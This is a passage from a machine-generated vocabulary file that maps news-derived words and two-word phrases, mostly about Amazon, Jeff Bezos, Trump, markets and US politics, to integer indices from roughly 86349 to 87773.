86349, "run health": 86350, "placate": 86351, "ran trying": 86352, "seagull": 86353, "telephone poles": 86354, "del mar": 86355, "cert sponsor": 86356, "twitter marketing": 86357, "addition gumball": 86358, "keys lead": 86359, "assassin": 86360, "nrf": 86361, "perceived liberal": 86362, "actual net": 86363, "correspondent katy": 86364, "carried virus": 86365, "tore": 86366, "culture digital": 86367, "representative adam": 86368, "testimony fails": 86369, "soured soon": 86370, "regulators attention": 86371, "disinformation amazon": 86372, "financial reports": 86373, "behold": 86374, "false branding": 86375, "defense trump": 86376, "controls pinkfong": 86377, "springsteen publicly": 86378, "layerx": 86379, "electoral strategy": 86380, "jim okamura": 86381, "seth rogen": 86382, "tread": 86383, "zamyatin": 86384, "placed online": 86385, "billionaire dropping": 86386, "espn sportscenter": 86387, "adequate oversight": 86388, "adult starfish": 86389, "officials say": 86390, "snl performance": 86391, "signals paulo": 86392, "nyse suspends": 86393, "reuters reuters": 86394, "social community": 86395, "global equity": 86396, "insurance giant": 86397, "defensive": 86398, "repeatedly slams": 86399, "power sex": 86400, "shaves": 86401, "proceeded": 86402, "relatives": 86403, "picture bezos": 86404, "bezos explains": 86405, "states mean": 86406, "subsidy chicago": 86407, "military veterans": 86408, "foreign nation": 86409, "multiple accusations": 86410, "sheraton": 86411, "good money": 86412, "delivering epic": 86413, "recommends googl": 86414, "exemplary": 86415, "kremlin photo": 86416, "alabama senate": 86417, "tweet following": 86418, "survey shows": 86419, "year response": 86420, "allow online": 86421, "uniforms amazon": 86422, "hype editor": 86423, "amzn news": 86424, "genoa": 86425, "benefits manager": 86426, "achieve remediation": 86427, "opencart": 86428, "nasdaq plunging": 86429, "5x 4x": 86430, "companies responding": 86431, "important supermicro": 86432, "findings reflect": 86433, "year 2016": 86434, "bullish oil": 86435, "nature think": 86436, "rejoin": 86437, "announces appointment": 86438, "politico kristenicoleast": 86439, "host ran": 86440, "beeler linkedin": 86441, "bezos threatening": 86442, "largest chains": 86443, "ramsey": 86444, "ordering according": 86445, "tips exclusives": 86446, "amanda peet": 86447, "satanic child": 86448, "meatless": 86449, "r4ee v7a": 86450, "delinquencies reaching": 86451, "memo emphasizes": 86452, "category beating": 86453, "liberal publication": 86454, "wilbur": 86455, "3a reuters": 86456, "acquisitions taking": 86457, "challenge telecom": 86458, "memorandum doesn": 86459, "2016 post": 86460, "eventually catch": 86461, "roberts stock": 86462, "competition posed": 86463, "lichtenberg": 86464, "amazon drugs": 86465, "goods carriers": 86466, "bring nursing": 86467, "dash button": 86468, "doj looks": 86469, "worries experts": 86470, "100 added": 86471, "afghanistan independent": 86472, "sudden sniffing": 86473, "ndibyj1b1f": 86474, "current discussion": 86475, "fatal": 86476, "communications official": 86477, "reportedly resigned": 86478, "nextdoor": 86479, "ina fried": 86480, "black indigenous": 86481, "midterms missouri": 86482, "empire state": 86483, "hills celebrity": 86484, "plans san": 86485, "flip trump": 86486, "year richard": 86487, "having busy": 86488, "sports photography": 86489, "hit targets": 86490, "frictions": 86491, "things wrong": 86492, "calling instead": 86493, "company response": 86494, "current withdrawal": 86495, "recommend items": 86496, "400 pound": 86497, "neckband source": 86498, "programme according": 86499, "backyards": 86500, "unparalleled wealth": 86501, "point bartiromo": 86502, "increased tariff": 86503, "trade maneuvers": 86504, "title tycoons": 86505, "machines": 86506, "laowilas shoppers": 86507, "writing affords": 86508, "access reliable": 86509, "overstating things": 86510, "scotland": 86511, "watchful": 86512, "moeller procter": 86513, "getinstance getplayerbycontainer": 86514, "pittsburgh police": 86515, "haven addressed": 86516, "newest spherical": 86517, "stock adobe": 86518, "core businesses": 86519, "generating profitability": 86520, "media umbrella": 86521, "response coalition": 86522, "biggest shopping": 86523, "stopped stabilizing": 86524, "2006 amar": 86525, "did overpay": 86526, "tough 2018": 86527, "bad science": 86528, "amazon giveth": 86529, "hewson bono": 86530, "srg": 86531, "man returns": 86532, "longer working": 86533, "exactly stranger": 86534, "trump skin": 86535, "menace president": 86536, "wide commerce": 86537, "bezos appearance": 86538, "company added": 86539, "money order": 86540, "bring federal": 86541, "websocket": 86542, "drop dead": 86543, "tweeted encouragement": 86544, "founder logistics": 86545, "wisconsin governor": 86546, "hungry man": 86547, "governing structure": 86548, "collective government": 86549, "books sweet": 86550, "postage provider": 86551, "journal treatise": 86552, "earnings ratio": 86553, "suppliers business": 86554, "meager retail": 86555, "inventors": 86556, "zilch": 86557, "becker theory": 86558, "600s feeling": 86559, "category business": 86560, "book reminiscent": 86561, "presidentdefinitely": 86562, "invited agencies": 86563, "bipartisan effort": 86564, "birth texas": 86565, "buy biolite": 86566, "turned lobbyists": 86567, "post naturally": 86568, "regulation trump": 86569, "unadorned helmet": 86570, "investigates bezos": 86571, "mechanic": 86572, "paid nearly": 86573, "great irony": 86574, "company dominance": 86575, "jpg 0x367": 86576, "customer doorsteps": 86577, "lawsuits lately": 86578, "offices sarah": 86579, "chicago attack": 86580, "deporting immigrant": 86581, "text sizelarger": 86582, "earned mere": 86583, "women running": 86584, "unsuspecting men": 86585, "global_advisors global": 86586, "teens holiday": 86587, "showrooming customers": 86588, "logistics automobiles": 86589, "media attacks": 86590, "crisis increasing": 86591, "pix11news": 86592, "trump originally": 86593, "vikram chandra": 86594, "closest competitor": 86595, "golden era": 86596, "actually accomplish": 86597, "agents killed": 86598, "e3 a4ee": 86599, "public sanchez": 86600, "population records": 86601, "good paying": 86602, "gone head": 86603, "class catalogues": 86604, "public institutions": 86605, "mysterious group": 86606, "insur reported": 86607, "electronics contract": 86608, "2009": 86609, "replacing tetraphase": 86610, "writers jeff": 86611, "bt": 86612, "handheld company": 86613, "immigrants employment": 86614, "anti pelosi": 86615, "bosse": 86616, "various investigations": 86617, "program shows": 86618, "interstate prescription": 86619, "nasa contracts": 86620, "musks": 86621, "2016 usa": 86622, "steve daletas": 86623, "based fedex": 86624, "eroding confidence": 86625, "gmb general": 86626, "reagan reagan": 86627, "online purchases": 86628, "year atop": 86629, "gamedev": 86630, "bringing development": 86631, "build billion": 86632, "protestors want": 86633, "139": 86634, "josie": 86635, "london dropped": 86636, "build things": 86637, "50th": 86638, "agonizing": 86639, "special postal": 86640, "recent supreme": 86641, "australia canada": 86642, "border crossers": 86643, "sordid snaps": 86644, "ruling spokesperson": 86645, "planetary": 86646, "wheeler nomination": 86647, "investigator suggested": 86648, "declare": 86649, "dye": 86650, "investigate essentially": 86651, "bojack horseman": 86652, "rekognition inhouse": 86653, "228 wildfires": 86654, "hike path": 86655, "lawsuits claiming": 86656, "technology trends": 86657, "announce massive": 86658, "toronto": 86659, "zambia": 86660, "trump ending": 86661, "sen heidi": 86662, "photo taylor": 86663, "avoid vince": 86664, "engineers applied": 86665, "build monopolies": 86666, "pressing lockheed": 86667, "cordes": 86668, "quickly fixed": 86669, "magic misfits": 86670, "heartwarming": 86671, "control diaz": 86672, "motivated act": 86673, "list include": 86674, "drama continue": 86675, "source forests": 86676, "franchise": 86677, "eye star": 86678, "profiteering": 86679, "party treasurer": 86680, "challenge facing": 86681, "amidst torrent": 86682, "caseworker": 86683, "double analysts": 86684, "boycotts": 86685, "twitter mrnashington": 86686, "instruments reported": 86687, "used code": 86688, "taylor hendricksen": 86689, "line item": 86690, "bad present": 86691, "house passes": 86692, "admits faux": 86693, "field technician": 86694, "korecki learning": 86695, "reuters congress": 86696, "sheldon harr": 86697, "accurately portray": 86698, "catalogues": 86699, "kdaly": 86700, "nationwide referendum": 86701, "closely follow": 86702, "expert": 86703, "concessions bespoke": 86704, "huawei": 86705, "divorce payout": 86706, "jpmorgan ceo": 86707, "nofollow": 86708, "untold story": 86709, "called negotiated": 86710, "lentol": 86711, "successful companies": 86712, "important sector": 86713, "jd": 86714, "howard line": 86715, "alleged comments": 86716, "cbs oscars": 86717, "turkish lira": 86718, "ab bb": 86719, "sustainability": 86720, "tree branch": 86721, "prophecies": 86722, "alien insects": 86723, "moser actually": 86724, "market slowing": 86725, "isn happy": 86726, "politicizing": 86727, "basic mail": 86728, "jabs brad": 86729, "haines christie": 86730, "picking directors": 86731, "directly responded": 86732, "explosion weight": 86733, "forecast misses": 86734, "frequent flier": 86735, "plan 2018": 86736, "having lost": 86737, "couple things": 86738, "mexicans": 86739, "deloitte holiday": 86740, "offer red": 86741, "lobbying weapon": 86742, "avoided questions": 86743, "megan murphy": 86744, "automobile": 86745, "campaigns politicians": 86746, "allegedly threatened": 86747, "president eddie": 86748, "belga": 86749, "attacking president": 86750, "lowest point": 86751, "long forgotten": 86752, "sector deal": 86753, "incremental shipping": 86754, "democratic norms": 86755, "fracturing": 86756, "companies supporting": 86757, "boob tube": 86758, "house appropriations": 86759, "bezos worked": 86760, "express refers": 86761, "finds sympathy": 86762, "insider summarized": 86763, "langone home": 86764, "way doors": 86765, "stopped collecting": 86766, "direct __________": 86767, "negotiate morals": 86768, "post beautifully": 86769, "incentive": 86770, "quarter tax": 86771, "technology procurement": 86772, "showing ms": 86773, "abboud vta": 86774, "brazen abuse": 86775, "patent protections": 86776, "wsj report": 86777, "international cooperation": 86778, "photos transgender": 86779, "cast skill": 86780, "entire mini": 86781, "disclosure says": 86782, "trump task": 86783, "fearing": 86784, "dhar": 86785, "2016 according": 86786, "boycotted": 86787, "independently operated": 86788, "saying goodbye": 86789, "blogs 2018": 86790, "enquirer american": 86791, "jk rowling": 86792, "ordering items": 86793, "author major": 86794, "flipkart": 86795, "developing 3rd": 86796, "beige book": 86797, "decelerating sales": 86798, "deliveries using": 86799, "diginomica does": 86800, "blackmail accusations": 86801, "proposed merger": 86802, "cease airing": 86803, "messages late": 86804, "launching": 86805, "billion online": 86806, "pr initiatives": 86807, "souqksa": 86808, "million ballard": 86809, "social isolation": 86810, "yurus": 86811, "bolsonaro elected": 86812, "unrelated reasons": 86813, "landing gear": 86814, "adopting new": 86815, "strangely": 86816, "beautifully sculpted": 86817, "obituary": 86818, "drug mdma": 86819, "nixon used": 86820, "ingber news": 86821, "delete don": 86822, "cyclical anchor": 86823, "vendettas": 86824, "guardian details": 86825, "memorable experiences": 86826, "business nike": 86827, "bloomberg unprecedented": 86828, "tabloid according": 86829, "shoulder briefcase": 86830, "disloyal aides": 86831, "cinemark": 86832, "methods tagay": 86833, "elect jair": 86834, "erp customers": 86835, "watch poirier": 86836, "enforcement bezos": 86837, "echoing weeks": 86838, "employee conce": 86839, "surprise appearance": 86840, "dns ip": 86841, "parkside fincl": 86842, "birth rates": 86843, "maria growth": 86844, "pieces": 86845, "pen outfit": 86846, "twitter 2752121": 86847, "ev": 86848, "setting bearish": 86849, "people acts": 86850, "courage bipartisanship": 86851, "joseph gilgun": 86852, "lambda": 86853, "later sulzberger": 86854, "telephone robocall": 86855, "personal text": 86856, "street south": 86857, "mechanical licensing": 86858, "hassan rouhani": 86859, "razor wire": 86860, "brainstorm tech": 86861, "institutionalized similar": 86862, "televisions just": 86863, "described ms": 86864, "amzn praised": 86865, "dominance sue": 86866, "608": 86867, "exported": 86868, "unfair edge": 86869, "posterimageoverride mini": 86870, "demise petrochina": 86871, "solving particularly": 86872, "incy": 86873, "questions later": 86874, "society oct": 86875, "ayn rand": 86876, "correspondence directly": 86877, "unsustainable": 86878, "product using": 86879, "mueller work": 86880, "time people": 86881, "nashville wall": 86882, "marina severinovsky": 86883, "post spokesperson": 86884, "passed landmark": 86885, "distorts": 86886, "started new": 86887, "labour": 86888, "wmt free": 86889, "building giant": 86890, "rare media": 86891, "provoked": 86892, "mlc repeats": 86893, "280 target": 86894, "sent stocks": 86895, "sputnik": 86896, "fellow billionaire": 86897, "buy fedex": 86898, "onboard": 86899, "stranglehold": 86900, "experiences nextgov": 86901, "platform clark": 86902, "profit similar": 86903, "direct ties": 86904, "cut bets": 86905, "siddiqui atif": 86906, "bezos filed": 86907, "insulating": 86908, "u003ca href": 86909, "conceptual": 86910, "talking just": 86911, "seen politics": 86912, "fedex freight": 86913, "experiential": 86914, "investigating wehave": 86915, "capitol protesting": 86916, "zing photo": 86917, "crackdown according": 86918, "internal email": 86919, "bizarre looking": 86920, "era agency": 86921, "aneurisms ohio": 86922, "making tweeting": 86923, "parcels": 86924, "fell way": 86925, "trump friend": 86926, "argue frustration": 86927, "piano entertains": 86928, "california reuters": 86929, "jp morgan": 86930, "trump referred": 86931, "sratingsintel deutsche": 86932, "compromising images": 86933, "adler jessie": 86934, "torn apart": 86935, "reagan stocks": 86936, "inflate": 86937, "better control": 86938, "target low": 86939, "blige cast": 86940, "facilitate hush": 86941, "msdc14 oembed": 86942, "eugene robinson": 86943, "braven precious": 86944, "apart agreed": 86945, "make ripe": 86946, "cloud industry": 86947, "help fund": 86948, "government contracting": 86949, "consumer review": 86950, "second half": 86951, "departed": 86952, "nungesser happily": 86953, "broadcast late": 86954, "wasser": 86955, "mixed earnings": 86956, "2020 republican": 86957, "chair house": 86958, "markets including": 86959, "seen jason": 86960, "crimes ohio": 86961, "tower": 86962, "pence champions": 86963, "population rural": 86964, "experience workplace": 86965, "blackmail elkan": 86966, "changing dynamics": 86967, "mindanao": 86968, "week big": 86969, "pre empting": 86970, "maclennan": 86971, "founder ceo": 86972, "aging parent": 86973, "past coverage": 86974, "stamps called": 86975, "bring comforts": 86976, "pearce godwin": 86977, "source amazon": 86978, "messenger bag": 86979, "key consideration": 86980, "freedom group": 86981, "good publicity": 86982, "trump transparently": 86983, "original press": 86984, "sector raised": 86985, "history gloated": 86986, "hedge funder": 86987, "weren": 86988, "fans eagerly": 86989, "democrats focusing": 86990, "spoiled child": 86991, "barius netflix": 86992, "burgeoning arts": 86993, "personal bankruptcy": 86994, "similar stories": 86995, "labyrinth easley": 86996, "subpoenaed corsi": 86997, "life according": 86998, "key logistician": 86999, "weeks walmart": 87000, "i09": 87001, "raise prime": 87002, "4billion charitable": 87003, "fervent": 87004, "tammy duckworth": 87005, "bestow city": 87006, "democratic majorities": 87007, "werner": 87008, "content screening": 87009, "severest form": 87010, "energy forum": 87011, "process verify": 87012, "easy compatibility": 87013, "stanley warned": 87014, "wealthwire calgaryherald": 87015, "0h0zpr0g37 tony": 87016, "little angel": 87017, "far according": 87018, "sessions including": 87019, "nfl oakland": 87020, "taxes read": 87021, "typical college": 87022, "patagonia": 87023, "250 words": 87024, "tapes netflix": 87025, "planned talks": 87026, "nevercarried": 87027, "magazine shell": 87028, "pays aeht": 87029, "reservation near": 87030, "officials used": 87031, "brought donald": 87032, "frenzied efforts": 87033, "testified": 87034, "video videoid": 87035, "scan information": 87036, "showcases": 87037, "foods source": 87038, "pumping money": 87039, "supported women": 87040, "sales obviously": 87041, "gianaris added": 87042, "foods completely": 87043, "weaver": 87044, "orleans mardi": 87045, "story spencer": 87046, "mail offers": 87047, "health inssurance": 87048, "b1a1": 87049, "buy shares": 87050, "swing": 87051, "growing trend": 87052, "immediately right": 87053, "gonna lose": 87054, "chart demonstrates": 87055, "wife": 87056, "using blue": 87057, "stafford": 87058, "trade labor": 87059, "led": 87060, "pricing ethics": 87061, "73bn drop": 87062, "actual cash": 87063, "percentage": 87064, "prosecutor jacob": 87065, "daniel dale": 87066, "lost touch": 87067, "bluetooth headset": 87068, "innovating": 87069, "hunt congratulations": 87070, "challenge sen": 87071, "multiple companies": 87072, "provides cloud": 87073, "sr praise": 87074, "president portrait": 87075, "change selyukh": 87076, "wannabe": 87077, "school season": 87078, "wsj editorial": 87079, "usps largest": 87080, "british politician": 87081, "yearlong investigation": 87082, "canadian headquarters": 87083, "sanchez according": 87084, "disaster": 87085, "sustained attack": 87086, "extraction": 87087, "fake packages": 87088, "hanna wrote": 87089, "anselm": 87090, "manifests": 87091, "sniped amazon": 87092, "2009 settlement": 87093, "project despite": 87094, "having compromising": 87095, "shipping period": 87096, "application onewest": 87097, "sumner": 87098, "prevent human": 87099, "redd": 87100, "kennedy center": 87101, "locked": 87102, "sputtering demand": 87103, "terror attacks": 87104, "atlantic university": 87105, "extreme ebay": 87106, "solidified": 87107, "cathedral": 87108, "electing": 87109, "manual": 87110, "great society": 87111, "walmart retail": 87112, "american free": 87113, "newswires": 87114, "assistant cnbc": 87115, "bar gun": 87116, "center positions": 87117, "cat power": 87118, "rights guns": 87119, "605 valued": 87120, "managing forests": 87121, "subjective criteria": 87122, "ruled": 87123, "states house": 87124, "gentleman welcome": 87125, "president sen": 87126, "individual reporters": 87127, "amazon opinions": 87128, "packing racks": 87129, "earnings giving": 87130, "effectively giving": 87131, "culp candour": 87132, "center taxes": 87133, "state 2018": 87134, "clemency": 87135, "enjoy great": 87136, "provoking analysis": 87137, "flex": 87138, "communities schools": 87139, "rates fell": 87140, "fossil": 87141, "class newspapers": 87142, "roughly defined": 87143, "erupts": 87144, "associate incorporated": 87145, "public administration": 87146, "american": 87147, "space strategic": 87148, "dying stepmother": 87149, "normal administration": 87150, "djia": 87151, "terrific tech": 87152, "successfully returned": 87153, "cpi shows": 87154, "raphael": 87155, "odd corner": 87156, "embed": 87157, "recently relinquished": 87158, "peninsula": 87159, "zoomed": 87160, "chris byrne": 87161, "hunterdon": 87162, "characteristics herera": 87163, "lifeboat": 87164, "cargill commodities": 87165, "growing areas": 87166, "chinese stock": 87167, "national tour": 87168, "lengths amazon": 87169, "otherworld": 87170, "warehouse wages": 87171, "cathy anderson": 87172, "gawande added": 87173, "sanders sanders": 87174, "buy 110": 87175, "media recently": 87176, "trending stories": 87177, "washington fueled": 87178, "backroom deals": 87179, "house keeps": 87180, "sentimental soldiers": 87181, "america strength": 87182, "subsequently engaging": 87183, "mediabiasfactcheck": 87184, "required aut_atyid": 87185, "3nextprevplay": 87186, "phone modernizr": 87187, "fundamentally oppose": 87188, "book subtitled": 87189, "potentially deal": 87190, "normalization": 87191, "big selloff": 87192, "numerous republicans": 87193, "getelementbyid cn": 87194, "owner pause": 87195, "vn 6_1107": 87196, "mrboxonline": 87197, "makan delrahim": 87198, "random opinions": 87199, "2009 manuel": 87200, "buck political": 87201, "progressive party": 87202, "years donald": 87203, "arrangement starts": 87204, "krystal": 87205, "realized jon": 87206, "students post": 87207, "outsized role": 87208, "hnhpf using": 87209, "spent 1m": 87210, "following brawl": 87211, "aviation officials": 87212, "taking care": 87213, "adelson campaign": 87214, "lightening cream": 87215, "match reffed": 87216, "equality williams": 87217, "unch government": 87218, "leakin": 87219, "sanders unveiled": 87220, "million economy": 87221, "acheive margin": 87222, "overdone don": 87223, "lampert real": 87224, "cohngary davivd": 87225, "570 shares": 87226, "currently required": 87227, "publish dick": 87228, "magazine lawyer": 87229, "year treasury": 87230, "various crimes": 87231, "popping": 87232, "large reuters": 87233, "antitrust makan": 87234, "using cybercurrencies": 87235, "ebitd growth": 87236, "80m": 87237, "month reversing": 87238, "increasingly regarded": 87239, "location feat": 87240, "new route": 87241, "incoherent musings": 87242, "gallingly": 87243, "phenomenal personal": 87244, "introduce user": 87245, "open gates": 87246, "winning touchdown": 87247, "trip": 87248, "hurston story": 87249, "voice concern": 87250, "food stores": 87251, "0941et copyright": 87252, "phrases holding": 87253, "attack chicago": 87254, "aan bizarre": 87255, "target malinowski": 87256, "jokingly offered": 87257, "good health": 87258, "estimated value": 87259, "survivors vote": 87260, "threefourths": 87261, "organizing 000": 87262, "formulas": 87263, "imposing tax": 87264, "experiences bezos": 87265, "macron mask": 87266, "treasury says": 87267, "inventory building": 87268, "pac kavanaugh": 87269, "cautioned": 87270, "sam statue": 87271, "republicans know": 87272, "fedex wants": 87273, "plane": 87274, "turkey cranberry": 87275, "flooding left": 87276, "extortion ad": 87277, "glaring inconsistencies": 87278, "cnk fell": 87279, "issues discount": 87280, "everybody knew": 87281, "sent shares": 87282, "read h\u00e4ns": 87283, "vehicles lost": 87284, "danny westnead": 87285, "sheuvachman cites": 87286, "industry faced": 87287, "powered abusers": 87288, "ofhis": 87289, "cia cloud": 87290, "news technology": 87291, "blockage": 87292, "magazine later": 87293, "kelly grayson": 87294, "rules trump": 87295, "busy intersection": 87296, "earned": 87297, "data helps": 87298, "action allowing": 87299, "windsor": 87300, "paid model": 87301, "merger review": 87302, "640 toilet": 87303, "place netflix": 87304, "sparkr mini": 87305, "integral rendering": 87306, "vc funding": 87307, "46b": 87308, "reminder": 87309, "suitable junqueira": 87310, "rep mimi": 87311, "amazon white": 87312, "baking food": 87313, "desperate amazon": 87314, "briefly doing": 87315, "helps veterans": 87316, "qi chargers": 87317, "cnbc good": 87318, "autonomous vehicle": 87319, "connotation": 87320, "rely little": 87321, "including metoo": 87322, "team going": 87323, "switzerland later": 87324, "sooner dueling": 87325, "endangered measles": 87326, "arrests detentions": 87327, "actual results": 87328, "service commission": 87329, "london banners": 87330, "way medical": 87331, "747": 87332, "amazon charts": 87333, "agreeable news": 87334, "word northeastern": 87335, "eu 2018": 87336, "antineoplaston": 87337, "derided brands": 87338, "companies shares": 87339, "incorrigible": 87340, "saying amazon": 87341, "amazon require": 87342, "amazon greatly": 87343, "a4ee z0": 87344, "set facebook": 87345, "season soon": 87346, "held jeff": 87347, "whatthe fbi": 87348, "sussex": 87349, "panchadar": 87350, "kingdom adel": 87351, "george sutton": 87352, "streets latest": 87353, "oil market": 87354, "break records": 87355, "quinones says": 87356, "bbc reported": 87357, "amazon crushes": 87358, "reward brazil": 87359, "garden": 87360, "7ymfthieh5 i_d": 87361, "year 110": 87362, "ovunc kutlu": 87363, "golden jewel": 87364, "amazon comprises": 87365, "politico reported": 87366, "stocks seeking": 87367, "false amazon": 87368, "abc world": 87369, "avenue entrance": 87370, "township": 87371, "sources adl": 87372, "images tv": 87373, "post maxsa": 87374, "calls hq2": 87375, "tricks imageurl": 87376, "software engineering": 87377, "decades trump": 87378, "navarro replied": 87379, "risen 103": 87380, "js": 87381, "eisenberg": 87382, "pull": 87383, "total commitment": 87384, "authority agriculture": 87385, "remembered": 87386, "valley donald": 87387, "politically conservative": 87388, "principal purpose": 87389, "rss": 87390, "google model": 87391, "assessment bloomberg": 87392, "aides snatched": 87393, "christian fundamentalists": 87394, "owngovernment believing": 87395, "pres obama": 87396, "makes carnivalcruise": 87397, "succeed 98point6": 87398, "police commander": 87399, "adopting complementary": 87400, "really according": 87401, "477": 87402, "blood stash": 87403, "ask john": 87404, "build wall": 87405, "downpour pass": 87406, "little way": 87407, "avert tariff": 87408, "500 subsidiaries": 87409, "elizabeth wood": 87410, "sponsor just": 87411, "interesting ways": 87412, "sanchez publicist": 87413, "representative david": 87414, "hanukkah represents": 87415, "lobbying services": 87416, "populist backlash": 87417, "trump blindsided": 87418, "target major": 87419, "caused widespread": 87420, "facts quotes": 87421, "photo dies": 87422, "cmenchaca": 87423, "route using": 87424, "pay practices": 87425, "mccabe recitation": 87426, "clarifying": 87427, "existing small": 87428, "rate changes": 87429, "gods": 87430, "excludes contractors": 87431, "list 2018": 87432, "alatriste": 87433, "justice ministry": 87434, "kahn amazon": 87435, "ubs economist": 87436, "909 arapahoe": 87437, "news visit": 87438, "homewood": 87439, "trump lie": 87440, "prize nadia": 87441, "contract trump": 87442, "reuniting separated": 87443, "simple yotam": 87444, "bluewave": 87445, "model unlike": 87446, "advantage gilbert": 87447, "summer chicago": 87448, "huffpost clean": 87449, "biggest frustrations": 87450, "room hub": 87451, "beats expectations": 87452, "lessen": 87453, "bezos author": 87454, "probe reportedly": 87455, "plus button": 87456, "taken shots": 87457, "fortieth": 87458, "retail changed": 87459, "cheating photos": 87460, "simultaneously deeply": 87461, "joyce usc": 87462, "tech support": 87463, "flexible make": 87464, "post guild": 87465, "yahoo": 87466, "amazon mason": 87467, "fitting": 87468, "advanced workforce": 87469, "month ami": 87470, "project assistance": 87471, "privacy regulation": 87472, "current facetime": 87473, "stock buy": 87474, "libertarian swing": 87475, "proposed series": 87476, "popular prime": 87477, "mar california": 87478, "esdc": 87479, "overpowering schrader": 87480, "revocation": 87481, "privacy related": 87482, "administration separation": 87483, "527": 87484, "state treasurer": 87485, "squeezing": 87486, "trade organization": 87487, "nebulous unprecedented": 87488, "area later": 87489, "vanish": 87490, "lingering stuff": 87491, "outmaneuver": 87492, "journalist ken": 87493, "delivery deals": 87494, "longtime aides": 87495, "america remains": 87496, "sharing privacy": 87497, "aggregate posted": 87498, "billion bringing": 87499, "p8 w5": 87500, "instead money": 87501, "users impacted": 87502, "companies denied": 87503, "methodology": 87504, "cuban says": 87505, "allies making": 87506, "deliveries growing": 87507, "pfeiffer indianapolis": 87508, "broke regulators": 87509, "aramco delayed": 87510, "record saying": 87511, "hamilton biographer": 87512, "oil flowing": 87513, "vice mayor": 87514, "billion investors": 87515, "hank johnson": 87516, "training including": 87517, "moderated": 87518, "brands brands": 87519, "bezos parents": 87520, "ives chief": 87521, "media association": 87522, "immediately suspend": 87523, "frida": 87524, "affected international": 87525, "today matt": 87526, "demonstrates symptoms": 87527, "article defend": 87528, "multiple vendors": 87529, "increasingly automated": 87530, "cindy": 87531, "tait": 87532, "1999 jeff": 87533, "coach taggart": 87534, "reportedly floated": 87535, "growing concern": 87536, "broadcast rewritten": 87537, "growing far": 87538, "fund gcf": 87539, "schutte chief": 87540, "youngest son": 87541, "potential solution": 87542, "black decker": 87543, "currently pay": 87544, "york ivanka": 87545, "center campus": 87546, "night golden": 87547, "clip andrew": 87548, "j6": 87549, "selling merchandise": 87550, "retail retail": 87551, "reduced schedule": 87552, "extremely damaging": 87553, "consummate": 87554, "legislature shows": 87555, "business organization": 87556, "lease amazon": 87557, "sugar coat": 87558, "perfect alloy": 87559, "scarborough ripped": 87560, "dow gained": 87561, "investigators purchased": 87562, "nixon joined": 87563, "consolidated services": 87564, "sanchez described": 87565, "hollywood reporter": 87566, "korea state": 87567, "multiple actors": 87568, "topics amazon": 87569, "scope court": 87570, "shah rukh": 87571, "europe forbes": 87572, "taking digs": 87573, "temperature": 87574, "testers": 87575, "fed reuters": 87576, "unique revenue": 87577, "manger": 87578, "campaign second": 87579, "year markets": 87580, "revenue day": 87581, "motoring": 87582, "passionate protesters": 87583, "models california": 87584, "converted cow": 87585, "businessman andy": 87586, "tv soon": 87587, "busting sanctions": 87588, "robots jeremy": 87589, "little internet": 87590, "growing advertising": 87591, "provide payment": 87592, "generous tax": 87593, "business alibaba": 87594, "etf outflow": 87595, "roadblock fcc": 87596, "guest presenters": 87597, "agreed takeover": 87598, "confusing emotional": 87599, "gary delaraba": 87600, "news did": 87601, "issue fear": 87602, "specific increases": 87603, "government fortune": 87604, "democratic choices": 87605, "videoid var": 87606, "cartoon effect": 87607, "things iot": 87608, "leonard michael": 87609, "sided": 87610, "friends network": 87611, "stability treasury": 87612, "185": 87613, "trees near": 87614, "lunch rebekah": 87615, "portfolio stelac": 87616, "australian critic": 87617, "shine succors": 87618, "company used": 87619, "quarter year": 87620, "electronic devices": 87621, "eventually offer": 87622, "amazon exec": 87623, "paper cringed": 87624, "make profits": 87625, "illegal act": 87626, "health advocacy": 87627, "nehisi": 87628, "governing plurality": 87629, "great advantage": 87630, "years big": 87631, "speech blumenthal": 87632, "neutrality vote": 87633, "comey fbi": 87634, "growing political": 87635, "dollars according": 87636, "pay paul": 87637, "toilet great": 87638, "lobby congress": 87639, "directly naming": 87640, "declare victory": 87641, "ha": 87642, "main person": 87643, "employ pre": 87644, "illustrates inequality": 87645, "biggest youth": 87646, "revenues disappointed": 87647, "trump fair": 87648, "sabrina kiernan": 87649, "expressions": 87650, "kalon vineyard": 87651, "institute policy": 87652, "administration trials": 87653, "charging market": 87654, "bergh isn": 87655, "shares motco": 87656, "eventually agreed": 87657, "renegotiating labor": 87658, "covering agriculture": 87659, "example approved": 87660, "tower resident": 87661, "french president": 87662, "600 000": 87663, "giant accused": 87664, "longtime investing": 87665, "queens big": 87666, "including sen": 87667, "justice trump": 87668, "louche": 87669, "covering school": 87670, "centers fulfillment": 87671, "negotiation talks": 87672, "wish twitter": 87673, "amazon awful": 87674, "morning saudi": 87675, "breakfast regardless": 87676, "local hardware": 87677, "ridiculous claim": 87678, "utfbs8lal3": 87679, "delivery officials": 87680, "offer concessions": 87681, "video remain": 87682, "pullman": 87683, "added venezuela": 87684, "moving ahead": 87685, "press statement": 87686, "jon nicosia": 87687, "spokesman": 87688, "fed mean": 87689, "hq2 jobs": 87690, "annual meeting": 87691, "settlement": 87692, "gmos glyphosate": 87693, "marketplace killing": 87694, "million severance": 87695, "wgbh boston": 87696, "global strategist": 87697, "act nyt": 87698, "reid": 87699, "popular movements": 87700, "shares toronto": 87701, "responsible": 87702, "latched": 87703, "analysis report": 87704, "benjaminson": 87705, "latest annual": 87706, "sell competing": 87707, "barbs amazon": 87708, "marched": 87709, "weather guide": 87710, "kraninger associate": 87711, "performance cnn": 87712, "vendor making": 87713, "2a says": 87714, "people smarter": 87715, "offered bid": 87716, "providing taste": 87717, "right guy": 87718, "regulation competition": 87719, "customers felt": 87720, "wizes": 87721, "stoking fear": 87722, "investors sentiment": 87723, "review amazon": 87724, "amazon unhinged": 87725, "making think": 87726, "removable": 87727, "ceo worth": 87728, "carpet rolled": 87729, "tailer final": 87730, "desires followers": 87731, "lena natalie": 87732, "tactic": 87733, "procurement strict": 87734, "fairly republican": 87735, "fireplace tv": 87736, "reading lists": 87737, "dig": 87738, "twitter complaints": 87739, "live blog": 87740, "want secure": 87741, "morning congress": 87742, "morning": 87743, "david abney": 87744, "drained financial": 87745, "public corporation": 87746, "reported second": 87747, "enabling reuse": 87748, "pleads ignorance": 87749, "2018bezos purchased": 87750, "economicdevelopment": 87751, "lesson": 87752, "political change": 87753, "yalitza aparicio": 87754, "exit program": 87755, "artillery range": 87756, "clipped duck": 87757, "alibaba china": 87758, "war translated": 87759, "america 8217": 87760, "000 total": 87761, "status data": 87762, "makes sneaking": 87763, "entirely amazon": 87764, "chairman randal": 87765, "management producers": 87766, "reduce transnational": 87767, "hosts numerous": 87768, "justin trudeau": 87769, "time getting": 87770, "img_caption": 87771, "fluke underperformance": 87772, "launched": 87773, 